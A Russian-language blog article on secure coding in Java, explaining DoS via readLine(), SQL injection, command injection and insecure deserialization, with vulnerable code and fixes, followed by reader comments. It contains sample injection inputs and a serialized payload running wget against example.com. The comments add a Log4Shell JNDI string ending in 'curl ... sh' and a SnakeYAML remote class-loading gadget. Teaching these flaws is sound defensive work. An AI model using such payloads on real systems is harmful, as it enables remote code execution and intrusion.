Язык программирования Java является одним из самых распространенных языков программирования. На нем написано множество сложных приложений как под Linux, так и под Windows. Однако, как и у любого другого языка программирования, у Java есть свои уязвимости.
Цель этой статьи познакомиться с уязвимостями, типичными для языка программирования Java, а также разобрать практики безопасного кодирования.
Начнем с основных характеристик этого языка. Как и большинство других языков, используемых в серьезной разработке, Java является объектно-ориентированным, то есть, следует четырем принципам ООП: инкапсуляции, полиморфизму, наследованию и абстракции. Этот язык является строго типизированным, то есть мы не можем смешивать в одном выражении различные типы данных. Также все программы написанные на Java транслируются в байт код, который выполняется на виртуальной машине Java (JVM). Это позволяет на не особо задумываться о том, на какой операционной систем будет выполняться наш Java код.
Такая архитектура языка Java позволяет избежать ряда ошибок, допускаемых разработчиками приложений. Например, программисту придется очень “постараться” для того, чтобы его код содержал уязвимости переполнения буфера. Поскольку строки Java основаны на массивах символов, а Java автоматически проверяет границы массивов, переполнение буфера возможно только в необычных случаях, например, когда из Java вызывается сторонний код, содержащий данные уязвимости, или в случае уязвимостей в реализации JVM.
Но код в Java тоже может содержать ошибки и далее мы поговорим об основных видах таких ошибок.
Отказ в обслуживании (DoS)
Многие пользователи приложений, написанных на Java наверняка обращали внимание на прожорливость этих приложений. Соответственно возможны ситуации, когда Java приложение может быть выведено из строя при получении большого объема данных.
Типичным примером уязвимости, приводящей к возникновению отказа в обслуживании является использование метода java.io.BufferedReader readline()
. Данный метод используется для чтения данных из сокета или файла до тех пор, пока не встретит в данных символ перевода строки (10, 0х0A) или возврата каретки (13, 0x0D). Если ни один из этих символов не найден, readLine() будет продолжать считывать данные бесконечно. Соответственно, злоумышленник может так подготовить данные, передаваемые на вход приложению, что данные символы не встретятся никогда и в результате может произойти переполнение памяти и отказ в обслуживании. При этом, если разработчик ограничит число строк, которые должны вводиться, злоумышленник может передавать данные в одной строке и тем самым данный защитный механизм никак не поможет.
Для решения этой проблемы OWASP предлагает использовать свою бесплатную библиотеку OWASP Enterprise Security API (ESAPI), которая содержит метод SafeReadLine(). Данный метод читает данные либо до появления вышеупомянутых символов, либо до достижения при чтении заданного количества символов. В примере ниже мы прочитаем не более 20 символов.
ByteArrayInputStream s = new ByteArrayInputStream ("trytohack".getBytes());
IValidator instance = ESAPI.validator();
try {
String u = instance.safeReadLine(s, 20);
} catch (ValidationException e) {
//Handle exception
}
В случае, если разработчик не хочет использовать данный метод, он может самостоятельно переопределить BufferedReader и метод readLine() и реализовать ограничение на количество читаемых символов.
Еще одной типовой ошибкой программиста, зачастую приводящей к DoS является некорректное выполнение так называемых парных операций, например, операций связанных с открытием файлов. Когда мы завершаем работу с каким-либо файлом, его необходимо корректно закрыть, но многие забывают это сделать.
Начиная с 7-й версии Java разработчик может использовать новый оператор try-with-resources. В общем случае выглядит он довольно просто:
try (Класс имя = new Класс())
{
Код, который работает с переменной имя
}
По сути, это еще одна разновидность оператора try. После ключевого слова try нужно добавить круглые скобки, а внутри них — создать объекты с внешними ресурсами. Для объекта, указанного в круглых скобках, компилятор сам добавит секцию finally и вызов метода close(), которые ранее программист должен был указывать сам.
Вот пример работы с файлом. После завершения работы с файлом inp.txt, он будет автоматически закрыт.
public static String readFirstLineFromFile2(String path)
throws IOException {
try (FileReader f = new FileReader("inp.txt");
BufferedReader br = new BufferedReader(f)) {
return br.readLine();
}
}
SQL инъекции в Java
Полагаю, суть SQL инъекций знакома всем: не доверенные пользовательские данные без надлежащей обработки начинают восприниматься как команды. Как правило, для реализации данных атак применяются манипуляции со спецсимволами. Данный вид уязвимостей актуален в том числе и для Java.
В языке Java для работы с запросами SQL имеются два основных класса:
java.sql.Statement
java.sql.PreparedStatement
Рассмотрим работу с классом java.sql.Statement. Фрагмент кода ниже содержит пример выполнения запроса. Строка query представляет собой SQL запрос к базе users при этом выборка по значениям в базе осуществляется по значениям параметров user.name и user.pass, которые помещаются в тело запроса с помощью конкатенации.
Statement statement = connect.createStatement();
String query = "SELECT user, id, pass FROM users WHERE user='" +
user.name + "' AND pass = '" + user.pass + "'";
ResultSet resultSet = statement.executeQuery(query);
Казалось бы, все должно корректно работать. Однако на самом деле такой код содержит уязвимость.
Пользователь может передать данные следующего вида:
user: admin
pass: admin' or id='1
В результате чего Java код сформирует такой запрос:
SELECT user, id, pass FROM users WHERE user='admin' AND pass = ‘admin' or id='1'
Совершенно очевидно, что результатом выполнения такого запроса будет либо user,pass и id для пользователя admin с паролем admin (что маловероятно), либо вывод информации по пользователю с id=1. Далее злоумышленник уже может модифицировать запрос для того, чтобы усложнить атаку.
Далее рассмотрим второй класс java.sql.PreparedStatement
.
Здесь код уже немного другой. В строке query места, куда должны быть добавлены параметры выделены с помощью вопросительных знаков. Далее мы подготовим запрос с помощью prepareStatement и нужные значения user.name и user.pass будут добавлены с помощью setString.
String query = "SELECT user, id, pass FROM users WHERE user=? AND pass=?";
PreparedStatement statement = connect.prepareStatement(query);
statement.setString(1, user.name);
statement.setString(2, user.pass);
ResultSet resultSet = statement.executeQuery();
Повторим наш эксперимент с не совсем корректным пользовательским вводом.
user: admin
pass: admin' or id='1
В результате получим такой запрос.
SELECT user, id, pass FROM users WHERE user='admin' AND pass = 'admin\' or id=\'1'
Здесь все кавычки были экранированы, в результате чего запрос будет искать или пользователя admin с паролем admin\ или нечто id=\’1’. То есть мы скорее всего получим сообщение об ошибки в SQL запросе. Но наш Java код уже не будет уязвим к SQL инъекциям.
Таким образом, для борьбы с SQL инъекциями в Java необходимо либо совсем отказаться от использования пользовательского ввода в тексте запросов, либо обрабатывать его таким образом, чтобы избежать обработки некорректных данных.
Не только SQL
Помимо уязвимостей при выполнении SQL запросов, Java код может также содержать уязвимости внедрения команд. Внедрение команд - это метод, при котором злоумышленник пытается выполнить команды операционной системы в системе, на которой размещено приложение. Для некоторых функций может потребоваться использование системных команд. И в некоторых случаях пользовательский ввод является частью этих команд.
Чтобы лучше понять внедрение команд, давайте возьмем пример и посмотрим, как это работает.
import java.util.*;
import java.io.File;
import java.io.*;
public class command_injection{
public static void main(String[] args){
Scanner sc=new Scanner(System.in);
System.out.println("Enter Username");
String user = sc.nextLine();
String user_path = ".\\Data\\"+user;
File file = new File(user_path);
try {
String comm = "cmd.exe /c dir "+user_path;
Process process = Runtime.getRuntime().exec(comm);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));
String s = null;
while ((s = stdInput.readLine()) != null) {
System.out.println(s);
}
}
catch (IOException e) {
System.out.println("Error executing command");
}
}
}
Приведенный выше код запрашивает у пользователя имя. Когда пользователь вводит имя , код проверяет, есть ли папка, соответствующая имени пользователя. Если да, то он использует системную команду для отображения содержимого папки; если нет, то выводится сообщение об ошибке.
Сначала давайте посмотрим, что произойдет, если мы введем корректные входные данные:
В данном случае было введено имя пользователя Tony и наш Java код сгенерировал следующую строку для выполнения:
cmd.exe /c dir ./Data/Tony
Все корректно. Но, мы можем используя знак & заставить наше приложение выполнить какие-либо еще команды. Например:
dir ./Data/Tony & ping -n 2 8.8.8.8
В результате наше приложение пропинговало сервера Google.
Понятно, что злоумышленник может выполнить и более опасные команды, например удаление каких-либо файлов и каталогов, запуск других приложений и т.д. По сути он может выполнить любую команду с правами пользователя, под которым работает приложение.
Для борьбы с такими атаками необходимо также экранировать пользовательский ввод.
Сериализация и десериализация
Еще одна проблема, с которой могут столкнуться разработчики на Java это уязвимости сериализации и десериализации. Напомним кратко о чем идет речь. Сериализация это процесс сохранения состояния объекта в последовательность байт. А десериализация это соответственно процесс восстановления объекта из этих байт.
В примере ниже мы объявляем сериализуемый класс Employee с тремя полями name, address и number. Далее мы присваиваем этим полям значения и сохраняем их в файл.
public class Employee implements java.io.Serializable {
public String name;
public String address;
public int number;
}
Employee e = new EmpLoyee(
name="John Doe", address="NY City", number="123");
fileOut = new FileOutputStreamC("employee.ser");
out = new ObjectOutputStream(fileOut);
out.writeObject(e);
out.close();
fileOut.close();
В результате все поля в нашем сериализованном объекте становятся открытыми. По сути, после сериализации появляется скрытый общедоступный конструктор с помощью которого злоумышленник может сформировать свой набор байт который будет соответствовать корректному объекту.
Однако, то что при сериализации все данные хранятся в открытом виде это не главная проблема. Гораздо опаснее то, что при десериализации, то есть обратном разборе данных для восстановления объекта, приложение может выполнить код, который злоумышленник ему подсунул в файле. Посмотрим небольшой фрагмент кода:
class Injection implements Serializable
{
public String some_data;
private void readObject(ObjectInputStream in)
{
try
{
in.defaultReadObject();
Runtime.getRuntime().exec(some_data);
}
catch (Exception e)
{
System.out.println("Exception: " + e.toString());
}
}
}
Здесь readObject будет разбирать полученные данные и затем попытается выполнить то, что ему удалось разобрать. Злоумышленник может подготовить файл для десериализации следующего вида (спецсимволы не опечатка):
��sr Injection��+r7�L some_datatLjava/lang/String;xptwget http://example.com:8080
В результате его разбора Java код обратиться к узлу http://example.com:8080 с помощью команды wget.
Таким образом, при работе с сериализацией и десериализацией объектов необходимо помнить следующее: нельзя сериализовать конфиденциальные данные, необходимо контроллировать целостность данных полученных из ненадежных источников. Необходимо переопределить классы writeObject и readObject для того, что прописать в них шифрование и дешифрование данных перед их сохранением в файл. Также необходимо выполнять десериализацию с минимальными привилегиями и использовать белый список сериализуемых классов.
Заключение
В этой статье мы рассмотрели основные уязвимости с которыми может столкнуться Java разработчик. Помимо представленных в статье, существуют также уязвимости связанные с обработкой XML документов, генерации HTML кода и т.д.
В следующей статье мы поговорим о безопасной разработке в .NET.
А прямо сейчас приглашаю всех читателей на talk-сессию: "Мифы и реальность в DevSecOps".
Комментарии (7)
centralhardware2
00.00.0000 00:00+4А что то из реально джава мира есть ?
utor
00.00.0000 00:00log4j - ${jndi:ldap://... например в GET /openAPI?id=${jndi:ldap://.../TomcatBypass/Command/Base64/curl -fsSL ****** sh}
freedom1b2830
00.00.0000 00:00cve-2022-1471 snakeyaml
Тип:не безопасная десериализация
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]приводит к исполнению:
newScriptEngineManager(
new URLClassLoader(new URL[]{
new URL("http://localhost:8080/")
}
)
)
такой себе log4j только использовать сложнее
wwalex101
00.00.0000 00:00сильно уж за уши притянуто и очень примитивно, из всего перечисленного столкнуться можно разве что с небезопасным обращением к ресурсам.
IlyaStroynov
Каждый раз, когда слышу про "безопасную разработку" на Java думаю - что безопасного в методах типизированных коллекций, принимающих Object